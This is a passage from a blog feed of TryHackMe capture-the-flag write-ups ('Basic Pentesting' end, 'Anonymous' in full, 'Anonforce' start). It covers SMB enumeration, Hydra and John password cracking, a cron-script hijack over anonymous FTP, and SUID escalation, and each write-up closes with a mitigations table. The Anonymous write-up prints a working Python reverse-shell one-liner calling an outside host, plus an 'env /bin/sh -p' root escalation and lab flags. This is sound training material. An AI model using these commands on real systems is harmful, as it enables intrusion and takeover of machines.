&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kay@ip-10-49-180-112:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The irony lands fully right here — &lt;code&gt;pass.bak&lt;/code&gt; contains a password that's explicitly named after the password policy it follows, in stark contrast to &lt;code&gt;jan&lt;/code&gt;'s weak &lt;code&gt;armando&lt;/code&gt;. This is almost certainly a credential meant for further escalation, consistent with the developer note's whole emphasis on policy compliance. This is where the notes I'm working from stop — the engagement was left here, with &lt;code&gt;pass.bak&lt;/code&gt; in hand and the final privilege escalation step not yet carried out.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploitation — The Chain So Far
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Feroxbuster&lt;/strong&gt; → &lt;code&gt;/development/&lt;/code&gt; developer notes hinting at weak credentials for &lt;code&gt;jan&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;enum4linux&lt;/strong&gt; → SMB null session → usernames &lt;code&gt;kay&lt;/code&gt;, &lt;code&gt;jan&lt;/code&gt;, &lt;code&gt;ubuntu&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hydra&lt;/strong&gt; → &lt;code&gt;jan:armando&lt;/code&gt; cracked from rockyou.txt&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SSH as &lt;code&gt;jan&lt;/code&gt;&lt;/strong&gt; → traversed into &lt;code&gt;kay&lt;/code&gt;'s readable &lt;code&gt;.ssh/&lt;/code&gt; directory&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ssh2john + John&lt;/strong&gt; → SSH key passphrase &lt;code&gt;beeswax&lt;/code&gt; cracked&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SSH as &lt;code&gt;kay&lt;/code&gt;&lt;/strong&gt; (via decrypted key) → &lt;code&gt;pass.bak&lt;/code&gt; → strong credential, next step unverified&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Rabbit Holes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Apache Tomcat / AJP on port 8080/8009.&lt;/strong&gt; Both Tomcat 9.0.7 and the AJP protocol got flagged in the initial scan as potential attack surfaces — Tomcat manager default credentials and AJP file-read vulnerabilities like Ghostcat (CVE-2020-1938) were on the list of things to try. Neither got investigated further once the SMB/Hydra path proved faster. The developer note pointing directly at weak SSH credentials made that the obvious priority, and it paid off immediately.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Struts mention in the dev notes.&lt;/strong&gt; The changelog mentions Apache Struts 2.5.12 being tested as a REST example app. Struts has a notorious history of RCE vulnerabilities — CVE-2017-5638, the one behind the Equifax breach, among others. No Struts application actually turned up running on any scanned port during this engagement. Might be a red herring left over from an earlier box revision, or it's pointing at a path that just wasn't discovered yet.&lt;/p&gt;

&lt;h2&gt;
  
  
  Flags
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Flag retrieval wasn't completed in the notes this is drawn from — access was established up through user &lt;code&gt;kay&lt;/code&gt; and the &lt;code&gt;pass.bak&lt;/code&gt; credential discovery. Root escalation and the final flag capture remain outstanding.&lt;/em&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;User&lt;/td&gt;
&lt;td&gt;&lt;em&gt;(not captured)&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;Likely &lt;code&gt;/home/jan/&lt;/code&gt; or &lt;code&gt;/home/kay/&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root&lt;/td&gt;
&lt;td&gt;&lt;em&gt;(not captured)&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/root/&lt;/code&gt; — pending use of &lt;code&gt;pass.bak&lt;/code&gt; credential&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Developer notes exposing internal audit commentary&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Never store internal communications or changelogs in a publicly accessible web directory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SMB null session enumeration enabled&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Disable anonymous/null SMB sessions (&lt;code&gt;restrict anonymous = 2&lt;/code&gt; in &lt;code&gt;smb.conf&lt;/code&gt;); restrict RID cycling by disabling guest access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Weak SSH password (&lt;code&gt;armando&lt;/code&gt;) crackable via rockyou.txt&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Enforce strong password policy uniformly across all accounts — the irony of this box is that the policy existed but wasn't enforced&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cross-user directory traversal into another user's &lt;code&gt;.ssh/&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Set &lt;code&gt;.ssh/&lt;/code&gt; directory permissions to &lt;code&gt;700&lt;/code&gt; and ensure home directories are not group/world-readable (&lt;code&gt;750&lt;/code&gt; or stricter on &lt;code&gt;/home/*&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Weak SSH key passphrase (&lt;code&gt;beeswax&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Use a long, randomly generated passphrase for any private key&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Key Takeaway
&lt;/h2&gt;

&lt;p&gt;A security audit that identifies a weak password but doesn't enforce remediation, combined with home directory permissions that let other local users traverse into &lt;code&gt;.ssh/&lt;/code&gt;, creates a domino effect — one weak credential becomes a pivot straight into a second account's private key. Defence in depth means actually fixing the permissions structure, not just telling someone to change their password and hoping they comply.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Room:&lt;/strong&gt; TryHackMe — Basic Pentesting&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>Anonymous — TryHackMe</title>
      <dc:creator>Farhan Hussain</dc:creator>
      <pubDate>Mon, 26 Oct 2026 22:54:35 +0000</pubDate>
      <link>https://dev.to/cyberfarhan/anonymous-tryhackme-217n</link>
      <guid>https://dev.to/cyberfarhan/anonymous-tryhackme-217n</guid>
      <description>&lt;p&gt;&lt;strong&gt;Platform:&lt;/strong&gt; TryHackMe · &lt;strong&gt;Difficulty:&lt;/strong&gt; Easy · &lt;strong&gt;Category:&lt;/strong&gt; FTP Write Access / Scheduled Task Hijack / SUID Abuse&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Anonymous&lt;/strong&gt; is a box that puts its own postmortem in writing before the engagement even starts. Sitting right there in the FTP share is &lt;code&gt;to_do.txt&lt;/code&gt; — the sysadmin's own unaddressed risk assessment, admitting in plain English that anonymous FTP login is dangerous and needs disabling. It never got disabled. Pair that with a world-writable &lt;code&gt;scripts/&lt;/code&gt; directory holding a script that runs on a schedule, and you've got a textbook "writable file in a privileged execution chain" vulnerability — similar in spirit to other boxes with cron-driven footholds, except here the scheduling mechanism doesn't even need to be inferred, since the log file is visibly growing in real time between FTP checks.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; 10.48.171.146 &lt;span class="nt"&gt;-r&lt;/span&gt; 1-65535 &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000 &lt;span class="nt"&gt;-b&lt;/span&gt; 500 &lt;span class="nt"&gt;-t&lt;/span&gt; 2000 &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;21/tcp&lt;/td&gt;
&lt;td&gt;FTP&lt;/td&gt;
&lt;td&gt;vsftpd 3.0.3 — anonymous allowed; &lt;code&gt;scripts/&lt;/code&gt; flagged &lt;strong&gt;writable&lt;/strong&gt; by Nmap&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;OpenSSH 7.6p1 Ubuntu 4ubuntu0.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;139/tcp, 445/tcp&lt;/td&gt;
&lt;td&gt;SMB&lt;/td&gt;
&lt;td&gt;Samba smbd 4.7.6-Ubuntu&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Nmap's &lt;code&gt;ftp-anon&lt;/code&gt; script doesn't just confirm anonymous access, it specifically flags the &lt;code&gt;scripts&lt;/code&gt; subdirectory as &lt;code&gt;[NSE: writeable]&lt;/code&gt;. That one detail defines the entire attack path before a single manual command gets run.&lt;/p&gt;

&lt;p&gt;The FTP banner has a nice touch too — &lt;em&gt;"NamelessOne's FTP Server!"&lt;/em&gt; — directly naming the box's eventual user account before any enumeration even starts.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp 10.48.171.146
&lt;span class="c"&gt;# Name: anonymous&lt;/span&gt;
ftp&amp;gt; &lt;span class="nb"&gt;cd &lt;/span&gt;scripts
ftp&amp;gt; &lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-rwxr-xrwx  clean.sh
-rw-rw-r--  removed_files.log
-rw-r--r--  to_do.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Downloading all three:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp&amp;gt; get clean.sh
ftp&amp;gt; get removed_files.log
ftp&amp;gt; get to_do.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;clean.sh&lt;/code&gt; contents:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="nv"&gt;tmp_files&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$tmp_files&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$tmp_files&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0 &lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Running cleanup script: nothing to delete"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /var/ftp/scripts/removed_files.log
&lt;span class="k"&gt;else
    for &lt;/span&gt;LINE &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nv"&gt;$tmp_files&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
        &lt;/span&gt;&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; /tmp/&lt;span class="nv"&gt;$LINE&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt; | Removed file /tmp/&lt;/span&gt;&lt;span class="nv"&gt;$LINE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /var/ftp/scripts/removed_files.log
    &lt;span class="k"&gt;done
fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A cleanup script meant to delete temp files and log the activity — currently a no-op since &lt;code&gt;tmp_files&lt;/code&gt; is hardcoded to &lt;code&gt;0&lt;/code&gt;. The interesting part isn't the script's logic, it's that &lt;code&gt;removed_files.log&lt;/code&gt; already has over twenty identical "nothing to delete" entries. That's direct proof this script runs automatically and repeatedly, almost certainly via cron.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;to_do.txt&lt;/code&gt; contents:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;I really need to disable the anonymous login...it's really not safe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The sysadmin's own words, confirming the exact vulnerability about to be exploited.&lt;/p&gt;

&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;clean.sh&lt;/code&gt; is owned by a local user (uid 1000) but has world-write permission (&lt;code&gt;-rwxr-xrwx&lt;/code&gt;), and it's confirmed to execute repeatedly via the growing log. Since the script lives in an anonymously-writable FTP directory, overwriting its contents with arbitrary shell or Python code means that code runs under the script owner's account the next time the scheduler fires it. No exploit needed beyond an FTP &lt;code&gt;PUT&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Replacing the script body with a Python reverse shell one-liner:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.134.217&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/bin/sh&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-i&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;]);&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Re-uploading the modified script via FTP, setting up the listener, and waiting for the next scheduled run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-nvlp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;connect to [192.168.134.217] from (UNKNOWN) [10.48.171.146] 36554
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Stabilising:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import pty; pty.spawn("/bin/bash")'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;namelessone@anonymous:~$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;user.txt
&lt;span class="go"&gt;90d6f992585815ff991e68748c414740
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Shell / Access
&lt;/h2&gt;

&lt;p&gt;Landed directly as &lt;code&gt;namelessone&lt;/code&gt; — the named user the FTP banner had all but introduced by name. No intermediate &lt;code&gt;www-data&lt;/code&gt; hop needed, since the script executes under this user's own account via cron.&lt;/p&gt;

&lt;h2&gt;
  
  
  Escalation
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;s &lt;span class="nt"&gt;-type&lt;/span&gt; f 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/usr/bin/env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Among the standard system SUID binaries, &lt;code&gt;/usr/bin/env&lt;/code&gt; stands out immediately. &lt;code&gt;env&lt;/code&gt; is designed to run a program in a modified environment, but it executes that program directly, inheriting whatever privileges the &lt;code&gt;env&lt;/code&gt; binary itself has. With the SUID bit set, &lt;code&gt;env&lt;/code&gt; runs with the file owner's privileges — root — and anything it launches inherits that same elevated level.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/usr/bin/env /bin/sh &lt;span class="nt"&gt;-p&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# id
uid=1000(namelessone) gid=1000(namelessone) euid=0(root) groups=...,27(sudo),...
# cat /root/root.txt
4d930091c31a622a7ed10f27999af363
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One command to root.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploitation — The Full Chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Anonymous FTP&lt;/strong&gt; with a writable &lt;code&gt;scripts/&lt;/code&gt; directory and a script confirmed to run on a schedule&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Overwrote &lt;code&gt;clean.sh&lt;/code&gt;&lt;/strong&gt; with a Python reverse shell payload via FTP&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Waited for the scheduled execution&lt;/strong&gt; → shell as &lt;code&gt;namelessone&lt;/code&gt; → user flag&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SUID &lt;code&gt;env&lt;/code&gt;&lt;/strong&gt; → &lt;code&gt;env /bin/sh -p&lt;/code&gt; → root shell → root flag&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Rabbit Holes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;SMB enumeration for the quiz, not the exploit.&lt;/strong&gt; The room's accompanying questions required identifying the SMB share name, which turned out to be a step entirely separate from the actual exploitation chain. A null-session &lt;code&gt;smbclient -L&lt;/code&gt; against the host:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;smbclient &lt;span class="nt"&gt;-L&lt;/span&gt; //10.48.171.146/ &lt;span class="nt"&gt;-N&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Sharename       Type      Comment
---------       ----      -------
print$          Disk      Printer Drivers
pics            Disk      My SMB Share Directory for Pics
IPC$            IPC       IPC Service
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;pics&lt;/code&gt; share matches a &lt;code&gt;pics&lt;/code&gt; directory later seen in &lt;code&gt;namelessone&lt;/code&gt;'s home directory, confirming SMB and the local filesystem share the same content — though this connection wasn't load-bearing for the actual privilege escalation path at all.&lt;/p&gt;

&lt;h2&gt;
  
  
  Flags
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;User&lt;/td&gt;
&lt;td&gt;&lt;code&gt;90d6f992585815ff991e68748c414740&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/home/namelessone/user.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root&lt;/td&gt;
&lt;td&gt;&lt;code&gt;4d930091c31a622a7ed10f27999af363&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/root/root.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Anonymous FTP login enabled&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Disable anonymous FTP entirely — the box's own &lt;code&gt;to_do.txt&lt;/code&gt; correctly identifies this as the root issue&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;World-writable script in a scheduled execution chain&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Scripts executed by cron or any scheduler must be owned by root (or the minimum necessary user) with no group/world write access (&lt;code&gt;chmod 700&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SUID bit set on &lt;code&gt;/usr/bin/env&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Remove the SUID bit from &lt;code&gt;env&lt;/code&gt; — it has no legitimate administrative need for it; cross-reference all SUID binaries against GTFOBins&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SMB shares accessible via null session&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Restrict guest/anonymous SMB access; require authentication for all shares&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Key Takeaway
&lt;/h2&gt;

&lt;p&gt;A growing log file with repeated identical entries is direct evidence of a scheduled task, and a writable script anywhere in that execution chain is a privilege escalation path, regardless of whether &lt;code&gt;sudo -l&lt;/code&gt; or SUID enumeration turns up anything interesting on its own. Always check what owns and triggers a script before assuming a quiet &lt;code&gt;sudo -l&lt;/code&gt; means there's no path forward.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Room:&lt;/strong&gt; TryHackMe — Anonymous&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>Anonforce — TryHackMe</title>
      <dc:creator>Farhan Hussain</dc:creator>
      <pubDate>Mon, 26 Oct 2026 22:48:35 +0000</pubDate>
      <link>https://dev.to/cyberfarhan/anonforce-tryhackme-2k4m</link>
      <guid>https://dev.to/cyberfarhan/anonforce-tryhackme-2k4m</guid>
      <description>&lt;p&gt;&lt;strong&gt;Platform:&lt;/strong&gt; TryHackMe · &lt;strong&gt;Difficulty:&lt;/strong&gt; Easy · &lt;strong&gt;Category:&lt;/strong&gt; Anonymous FTP / PGP Decryption / Hash Cracking&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Anonforce&lt;/strong&gt; skips the entire "web application with subtle vulnerabilities" phase and goes straight to "here is the entire filesystem, help yourself." Anonymous FTP doesn't just expose a note or a key this time — it exposes everything: &lt;code&gt;/etc&lt;/code&gt;, &lt;code&gt;/home&lt;/code&gt;, &lt;code&gt;/root&lt;/code&gt;, the whole hierarchy, readable and navigable like any other directory. The only thing standing between &lt;code&gt;anonymous&lt;/code&gt; and root credentials is a GPG passphrase that John cracks in seconds. This is less a penetration test and more a guided tour. The door is labelled FTP and it was left wide open.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Full-range sweep with RustScan, Nmap for service and version fingerprinting:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; 10.49.164.9 &lt;span class="nt"&gt;-r&lt;/span&gt; 1-65535 &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000 &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;21/tcp&lt;/td&gt;
&lt;td&gt;FTP&lt;/td&gt;
&lt;td&gt;vsftpd 3.0.3 — &lt;strong&gt;anonymous login allowed&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;OpenSSH 7.2p2 Ubuntu 4ubuntu2.8&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;No HTTP port, confirmed by a Feroxbuster attempt that immediately failed to connect. This is a two-service box and the entire story begins and ends with FTP.&lt;/p&gt;

&lt;p&gt;Nmap's &lt;code&gt;ftp-anon&lt;/code&gt; script does something unusual here — it doesn't just flag anonymous login as allowed, it lists out the root directory of the FTP share:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;| drwxr-xr-x   85 0        0            4096 Aug 13  2019 etc
| drwxr-xr-x    3 0        0            4096 Aug 11  2019 home
| drwxrwxrwx    2 1000     1000         4096 Aug 11  2019 notread  [NSE: writeable]
| drwx------    3 0        0            4096 Aug 11  2019 root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



